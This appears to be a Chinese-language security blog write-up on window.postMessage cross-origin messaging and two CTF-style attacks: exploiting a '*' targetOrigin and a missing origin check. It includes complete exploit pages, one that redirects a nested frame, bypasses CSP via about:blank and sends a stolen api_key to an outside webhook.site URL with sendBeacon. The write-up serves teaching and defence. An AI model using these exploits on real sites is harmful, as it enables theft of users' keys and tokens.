这篇文章发表于 703 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

最近看到两个比较有意思的postMessage安全问题,虽然简单但是有趣。

通常对于两个不同页面的脚本,只有当执行它们的页面位于具有相同的协议(通常为https)、端口号以及主机(两个页面的document.domain设置为相同的值)时,这两个脚本才能相互通信。但window.postMessage方法可以突破以上这种限制,安全地实现跨域通信。其用法看起来很简单:

1
otherWindow.postMessage(message, targetOrigin, [transfer]);
  • otherWindow
    ​ 其他窗口的一个引用,比如iframe的contentWindow属性、执行window.open返回的窗口对象、或者是命名过或数值索引的window.frames (en-US)

  • message
    ​ 将要发送到其他window的数据。它将会被结构化克隆算法 (en-US)序列化。这意味着你可以不受什么限制的将数据对象安全的传送给目标窗口而无需自己序列化。

  • targetOrigin
    ​ 通过窗口的 origin 属性来指定哪些窗口能接收到消息事件,其值可以是字符*(表示无限制)或者一个URI。在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者的任意一项不匹配targetOrigin提供的值,那么消息就不会被发送;只有三者完全匹配,消息才会被发送。这个机制用来控制消息可以发送到哪些窗口;例如,当用postMessage传送密码时,这个参数就显得尤为重要,必须保证它的值与这条包含密码的信息的预期接受者的origin属性完全一致,来防止密码被恶意的第三方截获。如果你明确的知道消息应该发送到哪个窗口,那么请始终提供一个有确切值的targetOrigin,而不是*。不提供确切的目标将导致数据泄露到任何对数据感兴趣的恶意站点。

  • transfer(可选)
    ​ 是一串和 message 同时传递的 Transferable 对象。这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。

可以看到targetOrigin这里面解释很多,其中安全问题似乎和*这个字符有关,这也就是本文想重点说明的。

基础用法

首先来看看,postMessage实现跨域通信的一个最简单的例子。

比如说以下html页面是www.example1.com的默认页面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Example1</title>
</head>
<body>
<iframe src="https://www.example2.com/index.html"></iframe>
<script>
setTimeout(() => {
//frames[0].postMessage({'posted': "data_test"}, '*');
frames[0].postMessage({'posted': "data_test"}, 'https://www.example2.com');
}, 5000)
</script>
</body>
</html>

然后在另一个www.example2.comindex.html页面监听发送过来的消息即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Example2</title>
</head>
<body>
<script>
/*onmessage = (e) => {
// 不知道为啥有很多次的消息,data要等一会才能收到
if (e.data.posted != undefined)
console.log(e.data.posted);
}*/
window.onload = () => {
function receiveMessage(event) {
event = event || window.event;
// 检验发送的消息来自于 www.example1.com 这个域
// 当发送窗口包含 `javascript:` 或 `data:` URL 时,origin 属性的值是加载 URL 的脚本的
if (event.origin == "https://www.example1.com") {
alert(event.data.posted);
// 假设你已经验证了所受到信息的 origin (任何时候你都应该这样做), 一个很方便的方式就是把 event.source
// 作为回信的对象,并且把 event.origin 作为 targetOrigin
//event.source.postMessage("Received!", event.origin); // 这样就能postMessage回去了
}
}
if (window.addEventListener) {
window.addEventListener("message", receiveMessage, false);
} else if (window.attachEvent) {
window.attachEvent("onmessage", receiveMessage);
}
}
</script>
</body>
</html>

然后在www.example2.com的控制台中就能够获得发送过来的信息。总之,这个例子实现了非常简单的跨域通信。

但这里有两点需要注意,

  • 第一点www.example1.com里面的postMessage那行注释里面的*可导致攻击
  • 第二点www.example2.com里面的origin的判断很重要,如果里面有敏感操作的话。如果是IDN主机名,那么origin属性值不是始终为Unicodepunycode,您需要最大程度地兼容性检查

对通配符情况的攻击

某些情况需要跨页面(比如跨域但是同站)传递秘密消息。就比如像上面这样,postMessage里面的data是秘密然而targetOrigin是字符*的情况。

INTIGRITI某次的题目就是这种情况。大概index.html是下面这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<head>
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'unsafe-inline';">
</head>
<script>
setTimeout(() => {
const value = `; ${document.cookie}`;
const parts = value.split(`; api_key=`);
let api_key = parts.pop().split(';').shift();
frames[0].postMessage({'api_key': api_key}, '*');
}, 5000)
</script>
<iframe src="verify_api_key.html"></iframe>

然后verify_api_key.html里面的代码如下:

1
2
3
4
5
6
7
8
9
<script>
function verify_api_key(api_key) {
document.write(api_key);
}
onmessage = (e) => {
if (e.data.api_key != undefined)
verify_api_key(e.data.api_key);
}
</script>

最后需要你实现的效果就是某个含api_key的受害者访问你构造的页面,然后你盗取了他的api_key——就这样一个简单的场景。

其实这个玩法早就被老外玩过了,2020年Google Docs的一个0day其实就用到了这个攻击方法。

怎么能让人快速理解呢?且看下面这张图(来自这里,那里面场景不同但意思相同)。

思路

可以看到里面的reconless.com就是攻击者构造的页面,这个页面有个iframe,而iframe-src就是victim page(就是上面的index.html)。当然在这时,iframe页面里面还有个指向verify_api_key.htmliframe。可是我们看到图中的verify_api_key.html似乎被篡改成了reconless.com,这可能做到吗?显然可以,修改类似于这样的window.frames[0].frame[0].location指向网址即可实现(location是少数能这样直接修改的属性之一!)。然后最里面这层reconless.com里面的js脚本功能只需要像verify_api_key.html这页面那样接收秘密,我们便能够成功盗取victim page主动发过来的信息,因为它postMessage里面的*会让该函数跳过对于网址的检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>EXP</title>
</head>
<body>
<iframe src="https://www.example1.com/index.html"></iframe>
<script>
setTimeout(() => {
window.frames[0][0].location = "https://www.example2.com"; // without CSP
//window.frames[0][0].location = "about:blank"; // To bypass CSP(default-src 'self')
}, 1000);
setTimeout(() => {
frames[0][0].document.write(`<script>
onmessage = (e) => {
if (e.data.api_key != undefined)
navigator.sendBeacon("https://webhook.site/0e998d85-5b6d-48c3-8f85-2c1fb4eb7c68", e.data.api_key);
alert(e.data.api_key);
}
<\/script>`);
}, 2000);
</script>
</body>
</html>

似乎很简单,但实践起来有点问题,就是victim page的CSP规则——它会阻止最内层的reconless.com里面的脚本运行。

但想要bypass它也不是什么难事,用到了about:blank这个页面,这其实是一个浏览器特性——该页面作为iframe-src不会被CSP组止,详情见该讨论。因此里面的脚本自然会被运行。

最后想要阻止这种攻击发生的话也比较容易,可以使用X-Frame-Options或者在PostMessage的时候明确指定的页面。

origin未判断

这个场景INTIGRITI也有道题目,而且这个场景有助于进一步理解上文。题目大概是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<title>Login Frame</title>
<!-- You can iframe this page, show us how you'd be able to steal a victim's token in the comments -->
<script type="text/JavaScript">
const allowed = [
window.location.host, "localhost"
];

window.addEventListener('message', (event) => {
const anchor = document.createElement('a');
anchor.href = event.data.domain;
//console.log(event.data.domain);

const isAllowed = allowed.filter(d => {
return d === anchor.host
}).length > 0;

if (isAllowed) {
const data = {
token: "passw0rddd"//localStorage.getItem('accessToken')
};
window.parent.postMessage(
data, event.data.domain
);
}
});
</script>

网页的逻辑大致如下:

  • 监听message事件
  • 如果是被允许的host的话(本地localhost和本域名),进入下一步的postMessage函数并向event.data.domain发送秘密消息

这里允许的host比较有意思,一开始被赋值的是anchor.href,然而在判断的时候用到的是anchor.host,但这里应该不至于有什么BUG。

显然在受害页面中,因为没有判断origin,所以我们能够随心所欲地控制event.data输入。这里主要的问题就只有绕过那个isAllowed的判断。而这里有个技巧就是令其为*

下面这个是测试页面http://127.0.0.1:8000/test.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script>
const anchor = document.createElement('a');
anchor.href = "*";
</script>
</body>
</html>

然后在另打开http://127.0.0.1:3000/toiframetest.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<iframe src="http://127.0.0.1:8000/test.html"></iframe>
</body>
</html>

在控制台切换到test.html页面,得到如下输出:

1
2
3
4
5
6
7
8
anchor.href
'http://127.0.0.1:8000/*'

anchor.host
'127.0.0.1:8000'

location.host
'127.0.0.1:8000'

自然而然就实现了绕过(其实单个绕过并不难,#这种甚至比较随意的都行,但后面postMessage的网址就会出错)。然后就是触发window.parent.postMessage(data, '*');这个函数,而这就相当于没有任何检验,导致postMessage直接把秘密发给攻击者了。

以下是完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!-- 运行在 http://127.0.0.1:3000/exp.html 上 -->
<iframe id="Frameid" src="http://127.0.0.1:8000/index.html" onload="postMessagefunc()"></iframe>
<script>
function postMessagefunc() {
const frame = document.getElementById('Frameid');
frame.contentWindow.postMessage({"domain":"*"}, "*");
}
window.addEventListener("message", function(event){
if (event.data.token != undefined)
document.body.innerHTML = event.data.token;
})
</script>
</body>
</html>